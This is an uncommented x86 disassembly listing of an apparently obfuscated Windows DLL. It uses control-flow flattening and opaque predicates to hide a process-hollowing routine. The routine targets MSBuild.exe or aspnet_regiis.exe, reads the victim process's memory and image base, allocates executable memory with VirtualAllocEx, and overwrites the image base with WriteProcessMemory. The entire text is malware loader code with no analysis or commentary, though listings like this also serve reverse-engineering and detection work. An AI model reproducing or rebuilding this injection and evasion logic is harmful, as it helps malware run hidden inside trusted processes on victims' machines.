xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x195e0d7f
mov ecx, 0x198699e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x9c]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x72a5344e
mov ecx, 0x49039d14
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0x5f5d93e1
sub edx, 1
add edx, 0x5f5d93e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe3a10d3e
mov ecx, 0x557c141c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x72a5344e
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x31a5bc26
mov ecx, 0x93bb7d38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [ebp - 0x20]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x31a5bc26
mov ecx, 0x64e0c9ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
add edx, 0xeb4bd4b1
sub edx, 1
sub edx, 0xeb4bd4b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb52c4873
mov ecx, 0x9280715e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0xfc494e14
jmp 0x10005583
mov dword [ebp - 0xf4], 0x4d8db8cb
jmp 0x10005583
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xf4], 0x27208b21
jmp 0x10005583
mov dword [ebp - 0xf4], 0x56e424e3
jmp 0x10005583
mov dword [ebp - 0xf4], 0x8ef480ad
jmp 0x10005583
mov eax, dword [ebp - 0x7c]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xf4], 0xa256805b
jmp 0x10005583
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xe8feaf9f
jmp 0x10005583
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xf4], 0x24f8e449
jmp 0x10005583
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xdc]
mov esi, dword [eax]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xc0]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xf4], 0xab4401ea
jmp 0x10005583
mov dword [ebp - 0xf4], 0x124afac4
jmp 0x10005583
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xf4], 0x64de7fbb
jmp 0x10005583
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0xe075ea05
jmp 0x10005583
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf4], 0x557c141c
jmp 0x10005583
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x906dfb59
jmp 0x10005583
mov dword [ebp - 0xf4], 0x35706a4f
jmp 0x10005583
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xa4]
add ecx, 0x4ee912ce
add ecx, 8
sub ecx, 0x4ee912ce
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
add ecx, 0xc9cb411c
add ecx, 8
sub ecx, 0xc9cb411c
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf4], 0x31b51824
jmp 0x1000255f